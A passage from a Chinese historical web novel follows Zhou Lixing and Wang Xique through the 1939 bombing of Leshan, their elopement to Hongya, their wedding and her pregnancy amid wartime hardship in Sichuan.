“是我错了,在重庆那个时候,我就应该把你抢走……”
刘五嬢面无表情地一脚踏在周立行的脚尖上,使劲碾。
周立行咬着牙闭嘴。
然而心中,却是认同了林人梅的说法。
杀人若是真的有什么因果,那日本人全都该遭报应,那成片成片死去的人里难道没有好人吗?多死一个木茶商,又怎么了?
刘五嬢往门口瞥了一眼,“你表姐被打成这样,我们都心痛。但话还是别乱说,你表姐夫只是酒后失手,事情还没有到这个地步。”
不要太信任门外的人,刘五嬢冲周立行轻轻摇头。
周立行已经不是当初的少年,他虽然默认了刘五嬢的称呼,却继续说着:
“表姐夫……哼,他不过是因为打得过你,才敢打你。真当娘家没人了是吧!我倒是要看看,他有多能打!”
刘五嬢本以为周立行意会过来,听这话,顿时又心又提起来了。
不过转念一想,王喜雀现在确实需要有人撑腰,很明显,木茶商多半又是攀上什么人物。
因为刘五嬢之前通过堂口跟木茶商打过招呼,让他以为王喜雀有个远方表亲在峨眉这边混袍哥,多少还是有点帮扶的。
所以前段时间,木茶商对王喜雀还算客气。现在态度陡转直下,必然事出有因。
“他人去哪了?我现在就去找他!”
周立行站了起来,想要斩草除根以绝后患。
刘五嬢赶紧一把拉住周立行,高声道,“你别急!找他是肯定的,但不急于此刻!”
然后小声地在周立行耳边劝道,“你和木老板之前见过没?可别拿什么身份把柄给他抓着,到时候赔了夫人又折兵!”
王喜雀也拉着周立行摇头,当初在重庆的时候,周立行已经自称自己是青竹叶的弟弟,此刻又自称表弟,总归是有漏洞的。
这也怕,那也怕,周立行一股无名火从脚底烧到头顶,有什么怕的,不过是肉体凡胎,死了的人才最没有威胁,否则都是后患无穷。
“喜雀现在伤势重,腿断成这样,也不知道内脏有没有受损。峨嵋县城的医生没有乐山那边好,得以喜雀的身体为先。”
“这样,我们马上找车,把喜雀送到乐山的仁济医院!听愿安说,那里的设备都是从美国进口的,有个什么光,可以照到人的骨头和内脏……”
刘五嬢也不强劝周立行,而是从王喜雀的身体着手,提出了更紧急的建议。
这下周立行不犟了,马上回答,“好,我去租车!”
周立行留下阿涅陪五嬢,立马冲出去找车行租马车。
可能是周立行浑身杀气太重,也可能是外面守门人听里面墙角没听全,总之有人以为周立行是要去弄死木老板,见他一出门,便赶紧溜出去报信去了。
68.乐山
这边周立行租好车,回来抱着王喜雀上车,带上阿涅一起往乐山出发,刘五嬢便回了家中。
那边木茶商听闻王喜雀的姑婆带着表哥表弟上门闹事,其中一个还说要弄死他,也被吓着了。
他以为之前打招呼的那个堂口只是说说,昨晚下手打王喜雀也确实有几份酒劲在心。
如果真的是王喜雀的娘家人且又是嗨袍哥的,人家要喊起兄弟伙来寻仇,这就容易引起不同堂口之间的械斗……
他毕竟是外来客,人家是地方人,就算他能讨好点大人物,可小鬼难缠,人家铁了心的话就能三月五月底蹲守,要是真闹起来,总是自己要吃亏……
于是在听到第二波来的人报,说王喜雀的表哥表弟雇了车,把人往乐山的医院送了。
他大松一口气,连忙派人拿着钱追赶,希望能大事化小小事化了,可别让什么不怕死的狠人惦记上他!
*
马车走的慢,追的人骑着自行车跑得快,不消一会儿便追到了周立行等人。
这来人,竟然是熟人!
刘斑鸠目瞪口呆地看着驾车的周立行,“周九青?!”
周立行眯着眼睛看刘斑鸠,见他人模狗样地穿着跟宾馆房间门外守着的人一样的对襟衣裤,心中有了计较。
“刘斑鸠。”周立行停了马车在路边,单手按在腰间的枪上,不冷不淡地回答,“多年不见。”
刘斑鸠的脑袋在疯狂地运转,周九青肯定不是王喜雀的表哥,这事有猫腻!
可刘斑鸠当年受过周立行的恩,他的手还是托周立行的福才保住的,并且看现在周立行这模样,只能说是更不好惹了。
这些年刘斑鸠人变得更滑头,也更小心翼翼,他只需略一思考,便选择了站队。
反正身边的喽啰也不认识周九青,成吧,就给圆一圆,管得他们是要上天还是入海,私奔也跟他屁关系没有!
“哎,果然是你,以前就听你说有个失散多年的表姐,这下找到了,恭喜!”
刘斑鸠做了个恭喜的手势,然后把身上背的包裹取下,递给周立行。
“我们这段时间跟着的木老板,也就是王喜雀的丈夫。这段时间生意忙,主家没办法照顾夫人,这是托我们带来给你们的医药费和生活费,请你们好好照顾夫人。”
周立行冷笑一声,接过包裹,“钱我收,账我记着,这事没完。”
刘斑鸠笑得尴尬,“兄弟……”
他本想说算了嘛,毕竟是别人家的小老婆。
但回头一想,当年的双胞胎姐妹也是这个木老板的小老婆,啧……算了,关他屁事。
“木老板让我们俩陪着你们去……”刘斑鸠硬着头皮继续说,“兄弟你看?”
周立行明白了,木茶商怕他们把王喜雀带着跑了,但又不敢出现在王喜雀的亲戚面前,怕被打了无处上告,于是暗搓搓地派人来表面送钱,实则监视。
不过这两人,周立行上下打量刘斑鸠和那狗腿子。
刘斑鸠和狗腿子齐齐背脊发寒,不约而同地打了个哆嗦。
一只手都能弄死他们两个,周立行平静地估量出实力。
“走吧,正缺人跑腿打杂。”周立行向刘斑鸠勾手,“你来驾车,稳当点,别颠着我表姐,她腿断的不成样子了。”
刘斑鸠倒吸一口凉气,亦步亦趋地上去,示意狗腿子跟着。
从早上到了晌午,周立行等人终于到了乐山城。
周立行本是没有什么好心给刘斑鸠及同行狗腿子安排住处的,但转念一想,难不成真的由着他们跟着搞监视啊?
于是,他安排刘斑鸠自己去医院就近的地方租了个把月的房,让他们俩住下,同时阿涅也跟着住了进去。
王喜雀在周立行的照顾下,很快进入了医院。
医生们为她做了检查,除了腿部多处骨折外,她遭受了强烈的殴打,内脏有出血迹象,很快被送入重病房,入院住下。
周立行听不懂那么多的专业术语,只知道若不是五嬢一直有托人照看报信,若不是他们当机立断把人送到这里,王喜雀可能真的就会奄奄一息地躺在床上,衰竭而死。
他受伤的手掌被自己反复捏拳击破伤口,他的内心雷霆千钧,炸得脑海久久不能平静。
那木茶商虽然是个混账东西,但这回钱财送得还算多,足够王喜雀在医院住上好长一段时间。
此时的医院,最贵的不是人,而是药品。
前线战事进入了相持阶段,更多的伤兵会从前线撤下,到后方各地治疗。
而此时药品已经无法从沿海港口进入,大多是从滇缅公路那边运进。
周立行担心自己是男的,不方便照顾王喜雀,还特地从周围请了一个小姑娘来当护工。
他不分白天夜晚地守着,白日里跑东跑西,晚上丢个毛毡到地上,便打地铺。
好在时节是夏季,七八月热浪袭人,他倒也不怕着凉。
病房里时不时会住进一些其他病人,每当病房住进其他女病友的时候,周立行便不好晚上也待在那,于是会睡到外面的走廊上。
他日夜陪伴,精心照顾,让其他女病友都羡慕王喜雀,“你表弟对你真好!”
王喜雀听得心中又甜又酸,又苦又愁,当真是百般滋味在心头,无法言说。
她只能点头回答着,“是啊,是个好弟娃……”
可是,礼教的束缚,让她不敢接受对方的爱意。
*
这些时日,乐山城也频繁跑警报。
那警报不分白天黑夜,有时早上还没起床或没吃早饭,长长的汽笛声和钟声响起,全乐山的人都会开始跑,校场坝、迎春门、福泉门、河街二码头……一直到张公桥,沿岷江河岸一带满河是船,人山人海;大码头搭浮桥过人。
有时大清早的便开始拉警报,大家跑出去,河岸上人群拥挤不通,头顶大太阳,又晒又饿又热,好不容易等到下午空袭警报解除,结果晚上又发警报,跑得众人苦不堪言。
甚至因为长期跑警报,那些年老体弱的老人,和生着病的病人,活生生跑死了许多。
这频繁的跑警报,让大多数人越来越疲,跑够了,跑繁了,跑得身体和精神都垮了,不如不跑!
周立行陪着王喜雀住院,推着王喜雀的轮椅跑了好几次,抱着王喜雀跑了好几次,也是跑得精疲力尽。
可他不敢不跑,他见过日本人的飞机向成都城俯冲,他见过燃起来延绵不绝的大火,见过满是残肢断臂的街道。
人和人之间的感情,有时候需要蜜语甜言、山盟海誓,而有时候根本无需只言片语,甚至不需说出口。
王喜雀从周立行的眼神里,从他的行动中,从他每一个动作间,都能看出那份暗含决绝的诚挚爱意。
他爱着她,不畏生,不惧死,他是真的爱着她,不说一词一句,不索求今生来世。
可是!她不该……
可是……她不能……
可是……她……
王喜雀怔怔地看着自己的双腿,想到了上一次在川江上,她也是这般的犹豫,结果呢?
不能再犹豫,再犹豫,就是生离死别。
待王喜雀身体状态差不多稳住,腿脚虽然还是上着夹板,但恢复程度也达到出院标准时,已经是八月中旬。
刘斑鸠和他的狗腿子早受不了天天去当护工的无聊生活,两人这段时间只在早晚去看一眼王喜雀还在不在,剩下的时间不是去茶馆摆龙门阵,就是去牌馆打牌打麻将,过得潇洒得很。
这两人隔一段时间会轮一个人回峨眉去跟木茶商报下情况。
刘斑鸠跟狗腿子商量得好,回去就说王喜雀的表弟身高八尺凶神恶煞,是个足足的狠人,在云南那边当过路匪,手里有上百条人命!
那木茶商听了,便再也没动过要来看望的心思,只叮嘱刘斑鸠二人把王喜雀跟好便可。
1939年8月19日上午,周立行带着阿涅一起,为王喜雀办好了出院手续。
他准备着一个轮椅,小心翼翼地把王喜雀放进去。
周立行推着王喜雀出了门,正想问问她接下来的打算,
突然,尖锐的汽笛声响彻长空!
大街上的人,却之后一小半在跑,剩下的人们疲于跑警报,已经不想再动了。
谁知道会不会又是虚惊一场,那日本人的飞机大部分时候是威慑,根本不投弹。
周立行却觉得事怕万一,他赌不起,于是推着王喜雀飞奔起来。
然而短短几分钟,周立行等人根本来不及跑出城,那三十多架膏药旗的飞机便飞临乐山城区上空,品字形编队变成一字形!
周立行望向天空的瞳孔紧缩,他看到了一串串炸弹从空中落下……
剧烈的爆炸如雷霆震荡,惊叫和惨叫中,血和碎裂的身躯再度飞起。
“啊!!!!”王喜雀惊叫。
周立行一把抱起王喜雀,扑在地上,十九岁的身躯已经和成年男人别无二致,他用自己的身体笼罩着她,将爆炸一瞬间飞起的各类碎砖裂瓦挡在了身后。
飞机一轮轰炸后,低飞开始扫射,弹片横飞如雨,烈火浓烟熊熊,黑烟热浪遮天蔽日……炸弹爆炸声
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,机枪扫射声,房屋倒塌声,伤者哀号声,连续不绝……
……
一阵尖锐的耳鸣在周立行脑海中回响,强爆炸产生的震荡让他处于半晕厥半清醒的状态,他耳边除了尖锐的耳鸣外听不到任何声音,视线也模糊,不知道是自己的血流入眼睛还是被别人的血泼到脸。
他强忍着受到震荡后躯体的干呕反应,颤抖着手抚摸身下人的脸,也不知道自己声音大小,他重复着:
“姐,别怕……姐,我救你……姐……”
“姐……要是没死……我们就一起走吧……”
“姐……跟我一起走……”
“姐,你自己的名字,是啥?”
“姐……我想娶你……”
不知道过了多久,似乎是很短,又似乎是很长,周立行听到了一个哭泣的声音。
“梨花,我的小名叫梨花……”
“你醒醒,你活过来……不要死……你活过来……”
“我愿意,我跟你走,我们走……”
“弟娃,别吓姐姐……”
“哥!!!快醒醒!!!火烧过来了!!!”另一个更尖锐的嚎叫声挤了进来,嚎得周立行脑仁痛。
周立行睁开似有千斤重的眼皮,他这才发现,自己还压在王喜雀身上,衣服上全是血渍和伤口的阿涅正在费力扒拉他。
他背后受了好些伤,但好在不致命,之前的昏迷是因为收到了爆炸冲击。
运气好的是,有一些爆炸起来的杂物堆积在他们身上,形成了遮挡,并且俯冲射击的飞机并没有发现他们,可不远处的医院却陷入了火海。
周立行被喊醒后,见四周熊熊燃烧的大火,肾上腺素狂飙,他立马站起来了,环顾一周,发现轮椅竟然只是被掀起飞,而没有被炸坏,阿涅已经把轮椅找来放在旁边了。
“哥,快,飞机飞去其他地方了,我们快走!”阿涅帮着把王喜雀放到轮椅上。
“我听见了,姐,你答应了!”
周立行抹了一把脸上的血,推着王喜雀便跑,生死边缘的刺激和夙愿得偿的狂喜充斥着他每一块肌肉,让他忘却了身上的伤痛,一心一意往美好的未来飞奔。
爆炸和大火毁灭了嘉定古城,乐山大佛垂眸悲悯,三江汇流的浪涛哀鸣不止,这一处,如同中国大地的每一处,被侵略,被轰炸,被屠杀。
周立行带着王喜雀和阿涅逃向城外时,回头好看见了一架低飞的侦察机。
原来,当膏药旗飞机轰完所有的炸弹,次第离去时,还有一架侦察机还留在城市上空拍照、录像后才扬长飞去。
此时的乐山根本没有防空火力,没有可以迎战的的飞机,轰炸之后侦察机可以在低空拍摄影片。
周立行看不懂飞机在做什么,阿涅也看不懂,但阿涅依然捡起地上的石头,狠狠地向飞机的方向扔去。
“狗杂种!”阿涅咬牙切齿,“早晚有一天,把你们的大铁鸟全部打下来!”
周立行伸手拍了怕阿涅的背脊。
“阿涅,我要带喜雀……梨花姐离开了,没法继续带着你见世面了。你是要跟着我,还是回云南?”
“如果回云南,我给你路费盘缠,你得去找刘愿平,看托谁带你。”
阿涅愣了愣,突然被问到这个,他毫无准备。
思考了一会儿,阿涅下了决定,“哥,我先跟你们走。待个几年再说吧,什么时候我想走了,我跟你说就行。”
“成都不能回,乐山,峨眉都不适合待,云南和康定容易被人查。”
“我想回洪雅。姐,我们去洪雅,好吗?那里是我的老家,山清水秀,从无战乱,我们回老家买几块地,躲在那里踏踏实实过日子,好不好?”
周立行蹲下,眨巴着眼睛,同王喜雀商量。
“忠义堂呢?那是方大爷的心血……”王喜雀摸着周立行的脸,她那么聪慧,总是能想到更多。
“方大哥给我留了四封信。信里说过,如果我决定和你私奔,就不要管堂口了。”
“战争,会毁灭一切。堂口,不是他留给我的束缚。”
“我的方大哥,只希望我平平安安的活着……他和黑老鸹一样,只希望我活着……”
周立行眼中热泪留下,他是有不甘的,他甚至是想出川复仇的。
可是,黑老鸹和方结义的期待,就已经束缚了他。
王喜雀点头,人总要有个归处。
“好,那走,我们回家。”
王喜雀迷蒙的目光不再看向身后的废墟和火海,半是悲凄,半是解脱,最终凝聚成振翅高飞的坚定……
69.洪雅
九月的洪雅县,稻谷开始变得金黄。
外面的征战和轰炸,并没有对这个几乎与世隔绝的小县城产生什么影响。
这里依旧四季青翠,青衣江河岸边的码头依然热闹,街道上的青石板和土瓦房透着岁月的平静。
周立行带着王喜雀和阿涅先在城关镇里找个旅店落了脚。
他一岁多便被家婆带回柳江镇养大,其实这县城也没来过几次。
一番打听下,才知道周氏中医馆及其擅长骨科,他立即带着骨伤未痊愈的王喜雀去了周氏中医馆。
大约是周立行长得和父亲颇为相似,那中医馆的坐堂大夫一直仔细地观察着他,犹豫了很久,最终在给王喜雀上好家传的中药敷贴后,还是上前同周立行搭话。
“这位小兄弟,老夫看你尤为面熟,跟咱们周家人长得有些相似,可是沾亲?”
老大夫胡须长长,长得慈眉善目。
周立行还没想好要不要回答,阿涅已经最快地帮应了。
“老辈子,他姓周。”
周立行只好点头,“是。”
“周光晟是你的?”老大夫的声音放轻,似是在期待某种可能。
周立行沉默良久,“他是你的什么人?”
老大夫从周立行的态度中看出某些端倪,他长叹一口气,诚恳地回答道,“他是我的堂侄,当年堂兄弟一家的病,我没有给看好,很是愧疚……本想把他唯一的娃儿养在膝下,可是去迟了一步,他父亲的亲兄弟已经把娃儿给卖了……”
“我托人去寻,后又听闻他的岳母已经把孩儿买了回去,带回了柳江。我心中羞愧,便没有去再去打扰……”
周立行没有正面回答,只说道,“我在外漂泊多年,此番带着妻子和舅子回来,是想买点土地,归家安居。”
老大夫怔怔地看了周立行半晌,又看向王喜雀。
王喜雀不惊不乍,平静地回看老大夫。
“孙媳妇的身体亏空的厉害,常年用了……一些药物,怕是……我给你们开个药方,吃个一年半载的,若是没效果,再来找我。”
老大夫是中医,把脉几十年,他看出来了许多,却没有挑明。
“我是几次差点死了的人,我不在意这些。”
周立行见过王喜雀以前喝的药,是药三分毒,他不想王喜雀再伤身子。
“谢谢老辈子,我会喝的。以前形势所逼,不想要。现在得偿所愿,想要。”
王喜雀拍了一下周立行的手,微笑着感谢老大夫。
周立行的脸瞬间通红,喉咙像是被锁住了一般,呼吸都有了几分困难。
有些话不需要挑明,老大夫猜到了周立行的身份,也看出了王喜雀的难处。
周立行懂得了王喜雀的真心,也明白了老大夫的关照。
只有阿涅什么都不懂,他一心只想晚饭吃什么。
洪雅县城虽不大,吃的却多!
此地产藤椒,那是一种没有花椒麻,但有着奇异香味的植物。藤椒油泡出来的钵钵鸡,那香味一条街都能闻到。
此地多山,养山羊的多,羊肉汤也是一绝,码头上的工人们也愿意出钱凑一锅羊肉汤,热腾腾地煮上肉和菜,蘸酱里放着鲜红的朝天小米椒,加上香菜葱姜蒜,还有那豆腐乳,吃得浑身舒爽,
阿涅更喜欢的是卤水麻辣烫和凉粉咔饼子,他当真是做到了从街头吃到街尾,吃的肚儿滚圆。
有了老大夫的从中转圜,周立行很快买到了属于自己的两亩田地。
这田地不算好,并不在周氏祠堂所在的城关镇附近,而是城外四五公里处周家祖宅所在的珙桐村,是周立行父母当年住宅所在的地方。
周立行领了这份好,他身上的金银基本都投到了乐山的厂里,随身带的钱财并不多。
乐山大轰炸后他急着跑路,身上的钱财更少了。
等买完地之后,剩下的钱也就恰恰够买砖瓦木料,请人修房都勉强。
老大夫做主借了些钱给周立行,嘱咐他不急着还,先把房屋建了,有个安身立命的容身之处,再考虑以后如何挣钱还。再不济以后可以用粮食,或采药材来抵。
为了省钱,周立行三人不再住在旅馆大手大脚,而是到旧屋遗址,先搭了两个简陋的茅草房,用石头和红泥巴磊了灶台安上铁锅,简单地备了竹碗竹筷,开始为建房做准备。
周立行和阿涅也参与进了建房的队伍,因得有个房基在,并且当年的房屋基地都是石头磊起来的,在这个基础之上修房变得容易了很多。
每日白天,周立行和阿涅哼哧哼哧地跟着一起立柱、砌墙、搭房梁,王喜雀便洗衣、做饭、编竹子,她手巧,不仅竹子编的好,还能绣花,很快便在同村中接到了绣花的活计。
村里基本都是姓周的,大家明面上没说,但背地里早就传开了。
周光晟的儿子周俊秀大难不死,被家婆养大之后外出闯荡回来,待了个顶漂亮的婆娘!还把小舅子改成周姓带回来了!
嗯……周立行又改名字了,因得以前王喜雀夸过他俊秀,他这次改名叫周俊秀。
好歹不是周积德,王喜雀也是大松一口气。
有些血缘,只凭一张脸就能确定。
周立行完全是父母相貌的集合体,但凡一个认识他父母的老人见了,都能认他是周家的子孙。
而周立顺,也就是阿涅,也因和周立行长得五六分相似,被迅速地接纳。
本地人对称呼没那么大将就,周立顺叫周立行姐夫还是哥他们不在意,他们背地里对周立顺没什么摆的,龙门阵的重心都放在了王喜雀身上。
毕竟,王喜雀已经三十多了,她再漂亮,眼神姿态便绝无可能像少女。
村里是周家老家祖宅,虽然大部分条件好的分家都搬去了城关镇,但祠堂还在这边,那些经历风雨的老辈子们也在这边。
人老成精,他们只需假装不经意地来瞧一瞧,同王喜雀搭几句话,便能看出许多。
纵然王喜雀话说的滴水不漏,说自己前夫已经死了,自己带着舅子在云南跟周立行认识。
可她最大的弱点,便是年纪大了。
那些碎嘴子的姑婆婶子们,总是要问,哎,你以前生过娃儿没?没生过?哎能生吗?
周立行时不时听到,就会生气地黑着脸过来赶人。
甚至有时候,会直接让阿涅去骂人。
阿涅骂人是一把好手,西南话也说得十分顺溜,没多久和和村里的姑婆婶子们骂成一团。
并且阿涅骂急了会冒出家乡话,叽里咕噜一大通,那些姑婆婶子们听又听不懂,气得半死就要动手。
阿涅虽然不还手,但阿涅跑得快,总是能把那些姑婆婶子们绕弯子摔进田地里。
于是,周立行和阿涅的风评,在村里越来越不好。
大家谈起来说的都是——那个性格跟他爹一样臭的小辈子,带了个狗一样乱吠的小舅子,娶了个不下蛋的老母鸡,怕是要绝后代哦!
这些对周立行毫无影响,毕竟他拳头还是挺大的,力气也挺大的,加上阿涅嘴毒,王喜雀沉稳,这些风言风语没有激起什么风浪。
这周家村,分了文山武山,周立行回来的这片是文山,对面还有个武山。
文山这边,据说明朝的时候出过文状元;武山那边,据说清朝出过武状元。
现如今,文山这边出医生、教师,也供养出一些去了外面的学生;武山那边有跑马场,出了许多护卫、镖师、袍哥,自然也少不了好些去二十四军任职的。
即便是留在家乡的男人们,识字和武术,都是会一些的。
因阿涅的淘气,周立行不得不和村里的叔伯侄子们较量了一番。
最终得出结果,成都花会打过金章的,确实不一般,周立行走过那么多地方,博采众家之长,跟村里的好手打起来也是要占上风的。
这番较量之后,周立行在村里的地位便起来了,更多的人愿意来跟王喜雀走动,关系愈发融洽起来。
没过几个月,房屋修成了。
那是一个有着一堂四屋的小三合院,厨房仓房,主房客房都有,后面还搭了个养猪养牛的棚子,虽然现在里面还是空的,栅栏和竹口槽已经备好了。
房屋落成,周立行说是去城里找阴阳先生看了日子,隔几日后早起神神秘秘地去了县城。
王喜雀自己单独睡的一间茅草屋,早上起来做玉米粑粑的时候发现周立行不在,只有挤眉弄眼的阿涅。
王喜雀的腿已经好了,可惜还是留下了些许残疾,走路有些跛,且使不得重力。
不过经历过生死的人,都不在意这些,她飘零半生,最大的愿望就是能安享晚年。
“阿涅,立行干什么去了?”王喜雀一看阿涅这摇头摆尾蹦来蹦去的样子,心中也有了些猜测。
“给你准备惊喜去了!”阿涅红光满面,粑粑都多吃了两个。
半大小子,吃穷老子,阿涅是个能吃的,快满二十岁的周立行也是个能吃的,王喜雀温柔地摇摇头,转身又去推磨磨玉麦面。
阿涅几口吃完粑粑,自告奋勇地说自己来磨面,让喜鹊姐去立行睡的茅草屋打开那个布包裹先看看。
王喜鹊心跳有些快,她跟着周立行回洪雅几个月了,两人相敬如宾,此刻她猜到了周立行的想法。
她忍住心中的激动,去了旁边找到布包裹,打开一看,竟是一套红色的婚服!
没过半天,周立行回来了,他不是孤零零的一个人,而是热热闹闹的一队人!
这队人披红挂彩吹拉弹唱,周立行在自己的胸前绑着大红花,一幅迎亲新郎官的打扮,队伍最前面是两个人抬着滑竿,滑竿上坐着县城医馆里的老大夫。
老大夫下了滑竿,做了个抱手礼,清了清声音:
“良辰吉日,喜鹊闹枝,井喷如意灵泉草,生吉祥灵芝;我乃周氏老辈,今为小辈上门,搭金线银桥,求贤德佳人!请问王氏家中,可有商谈之人?”
王喜雀惊呆了,她从看到婚服那一刻,便知道周立行是想要办个婚礼的。
可她没想到,周立行会这么正式,竟是请了老辈来……重走下聘流程?
她惶恐地看向四周,按礼节,这时应该由她的家里人来说话……
“今日良辰,喜气洋洋,贵客上门,辉满蓬堂。我乃王家子弟,今为亲姐出面,敢问周家老辈,为何人谈亲说婚?”
阿涅竟也换了一身新衣,得意洋洋地站到王喜雀旁边,回礼之后,略带滇西口音地流畅回答。
王喜雀鼻尖一酸,眼眶湿润。
她听不清老大夫和阿涅你来我往地说着什么,她看向满脸红光的周立行,如释重负地笑了。
周立行暗自筹划了许久,他没有大摆宴席,没有呼朋引伴,因为他回来的时候已经向所有人讲了王喜雀是他的妻。
可他该做的,一样也不能少,哪怕过程简略一点。
请族中老人提亲,让阿涅当王喜雀的兄弟询问,再征得王喜雀的同意。
王喜雀换上喜服,阿涅背着她从一旁的茅屋到旁边的新房,虽然没有花轿,也有了送亲的过程。
吹拉弹唱的喜工们,很快把堂屋布置起来,喜房也铺上了红色的床单被面,摆上了红烛。
老大夫代了主位,阿涅当了娘家人,周立行和王喜雀拜了天地高堂。
鞭炮声响,红烛点亮,有情之人,共安此方。
*
虽然周立行没有大办婚宴,但他在房子里热热闹闹干的这么一场,村里人很快都知道了。
出于一个家族的三分薄面,许多族人来送了些贺礼。
周立行因自己小时候的事情,以及前段时间那些姑婆婶子们的态度,对村里人没有太大好印象。
然而王喜雀此时有了底气,便做主收了下来,还挨个儿回礼。
族人们不好意思,干脆又杀猪宰羊,办了一场村宴流水席,权当是给王喜雀补了喜宴。村里的姑婆们,也按照习俗,送来了绣花的铺盖被套,各色糕点,王喜雀一整天都笑得幸福无比。
这是她前半生从未曾得到过的认可和尊重。
他们似乎就这样,已经融入了这个村落,似乎远离了战火纷争,不再颠簸。
一晃秋天过去,冬日到来。
周立行和阿涅以前都不是种地的,即便有乡亲们手把手的教,但收成还是很好,以至冬天的食物并不充足。
周立行和阿涅两人琢磨了一下,兄弟俩干脆地打猎去了。
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主食不够,猎物来凑,可惜冬天山林里野物也不多,这个冬天日子过得紧巴巴的。
虽然本地村落都是周家人,各类赋税收的没有那么狠,可上面要交的,还是得交。
这些年的赋税,是越来越多,越来越高。
于是乎,周立行身上的钱财迅速花光不说,日子过得越来越紧,紧得他都有点想出去接点什么活做。
到了夏日,周立行也去洪雅县城里逛过茶馆,然后听说了一些消息。
去年下半年开始,国民党内顽固派掀起□□高潮,开始在成都大肆逮捕共产党员和进步人士,许多和共产党沾边的人士都被抓走,不问青红皂白便是一顿拷打。有些人放回了家,有些人则是永远失去了联络。
新一轮□□,正在蔓延。
今年三月,国民党一手炮制了震惊西南的成都“抢米”事件;四月,国民政府成都行辕组建了四川省联合特务机构——四川省特种委员会,五月的时候甚至把中共四川□□和中共川西特委等人都给抓了,据传,这些人已经遇害。
莫名其妙失踪死亡的人,越来越多。
“……锤子蒋,太不够义气了!说好了团结一致抗日,妈哟,又开始乱杀自己人!”
“他就是这样子呢,当初张少帅跟他够仗义吧,他逼得人家搞出西安事变。”
“说一套做一套,老子袍哥人家,硬是看逑不起这种人,日本人赶不走,杀自己兄弟伙,简直不懂规矩!简直该三刀六洞!”
“哎呀,你们懂啥子嘛,现在四川就是老蒋的基本盘了,他怕共产党渗透袍哥,更怕共产党跟西南军人联合起来,万一又搞出个啥子事变,他不就彻底下台了哦!”
“你说得来,那他岂不是要发好久的疯安?”
“最近大家还是小心点,别冲壳子冲上天,说自己是共产党,子弹不长眼睛……”
茶馆里你一嘴我一句的谈论着,周立行喝着茶听完,才真正明白冯争鸣传信的重要。
虽然周立行不是共产党,但很多人都把他当成了共产党。
周立行颇感无奈,却也觉得光荣。
只是,他就只能再次蜗回村里,踏踏实实地躲风头。
于是到了第二年开春,周立行也没办法攒点钱去还给老大夫。
他虽然小时候过得困苦,可自从跟着黑老鸹走了袍哥路,那反而是顿顿吃饱了的,最难的时候也只是在滇西修路,之后手中也没有缺过钱财。
此时差着帐,虽然老大夫从未来催过款,他心里还是有些着急。
*
橙黄橘绿,瓦上青霜,转眼又是一年开春,周立行弄了一颗梨树回家,栽在了院子里,树苗小小的,还没有阿涅高。
他期待着梨树开花,满枝硕果的时候。
王喜雀那一日出门,不知什么原因吵了架,气鼓鼓地回来,周立行见了连忙追过去。
“姐,怎么了?谁惹你生气了?”
周立行这还是第一次见王喜雀那么生气。
阿涅恰好围观了全流程,他从后面跑进门,哒哒哒地描述道:
“有人说你坏话,被喜雀姐听到了,她凶了她们一顿,哈哈哈哈……”
这么听起来,喜雀姐也没吃亏啊,周立行不懂为什么王喜雀会憋气,然后就听阿涅口无遮拦地补充:
“喜雀姐说以后给你纳几个小的,给你生一窝的娃儿……”
“阿涅!”王喜雀脸气红了,怒叱道。
“闭嘴!”周立行的脸也气红了,上前捏住了阿涅的脸颊子,“你个蠢屎蛋子,别瞎说!”
阿涅觉得莫名其妙,这明明是喜雀姐说的,怎么就成了他瞎说了……
因为这个话题,周立行跟王喜雀闹了好久的别扭。
王喜雀觉得自己说的没错,她都三十多了,要是过几年还生不了娃儿,她便想办法去峨眉取她存在刘五嬢那里的钱财,给周立行再聘姨太太来生。
总不能她人老珠黄了,周立行却没个后人吧?
她觉得,有人能生孩子以后认她当妈,她也是开心的,一定会当自己孩子一样好好照顾,就像方大爷的那些老婆们一样,大家一起热热闹闹的过日子。
周立行却不行,他说不出原因,委屈得蹲在床前哭,总觉得这是姐不相信他的心,是对他的污蔑。
“黑老鸹喜欢五嬢,他这辈子都没说出口,可也没有找其他人。我们可以跟干爹一样,我们收养孩子不行吗……”
周立行气得满脸是泪,他指着在门外听墙角的阿涅说,“你要实在喜欢孩子,我们给他降个辈分,让他给我当干儿子不行吗?!要不了几年,他成年了,让他去娶媳妇儿接着生!”
阿涅:“????”
突然梦回冯争鸣和周立行的结拜,怎么一个个的闹矛盾,他阿涅就要降辈分!
有病啊你们!!!
王喜雀这下哭笑不得,为了不让阿涅从弟弟变成儿子,只好口头认输,“是我错了,是我狭隘了,好了立行,不要睡踏脚板了……”
然而就在这场闹剧没过去多久后,王喜雀发现,自己的月事已经好久没来了。
周立行慌得不行,带着王喜雀去找老大夫一号脉,竟是王喜雀怀孕了!
这下不仅是周立行和王喜雀两人慌,阿涅也跟着慌,他竟然要当舅舅了!
温馨的小院子里开始添置各种东西,周立行和阿涅已经开始用竹子做推婴儿的竹椅和各种玩具,两人疯了一般什么都想准备。
王喜雀也沉浸进了对新生命的期待中。
她曾经心如死灰,以为自己会郁郁而死,她曾经向往自由,梦想过挣脱束缚奔走远方。
她没想过,自己会跟一个年轻却爱慕她多年的小弟娃走,会有一栋属于自己的房子,再有属于自己的孩子。
她辗转难眠,同一样兴奋的周立行商量了许多。
最终,她决定让周立行去一趟峨眉,带些钱财回来,除了还清老大夫那边,还可以再置办点产业。
毕竟,从去年到今年,大量的男人们或自愿或被抽丁,农村里的劳动力越来越少,种田的老弱妇孺们又遇到天灾收成不好,而税却从之前的七十多种变成了一百多种。
再不开源挣钱,王喜雀怕养不活孩子。
70.洪雅
从周立行和王喜雀离开乐山,回到洪雅至今,已经一年有余。
这一年多来,成都那边惊涛骇浪,洪雅这个山间小县城却风平浪静。
洪雅是个非常特殊的地方,这里行政上属于四川省管辖,军事上却属于西康省24军驻防。
本地地方势力和袍哥舵把子势力纠缠很深,各占山头,支持不同的乡长、参议员等争权夺利、矛盾重重,达到了一种诡异的平衡,以至于国民党的政令和军令都不能在洪雅县里贯彻执行。
县城管辖的乡镇,远一点的山区,那简直就是袍哥和土匪的地盘,外人难以插足。
周立行未曾向王喜雀隐瞒他离开成都的原因,也将茶馆听来的消息告知王喜雀。
周立行、王喜雀和阿涅都是聪明人,三人把说辞应对都商量好,对外丝毫没有透露过往。
这般小心行事,他们又是蹲在了洪雅地盘里周立行自己的老家,自然是平平安安。
此番周立行要去峨眉,也是乔装打扮,小心上路。
他到了刘五嬢处,刘五嬢和刘愿平听闻周立行已经成家,都十分开心。
周立行拿出王喜雀的手信给五嬢,他没有讲自己娶的是喜雀姐,也没有讲喜雀怀孕的事情。
五嬢猜得到,但周立行不说,五嬢便不问。
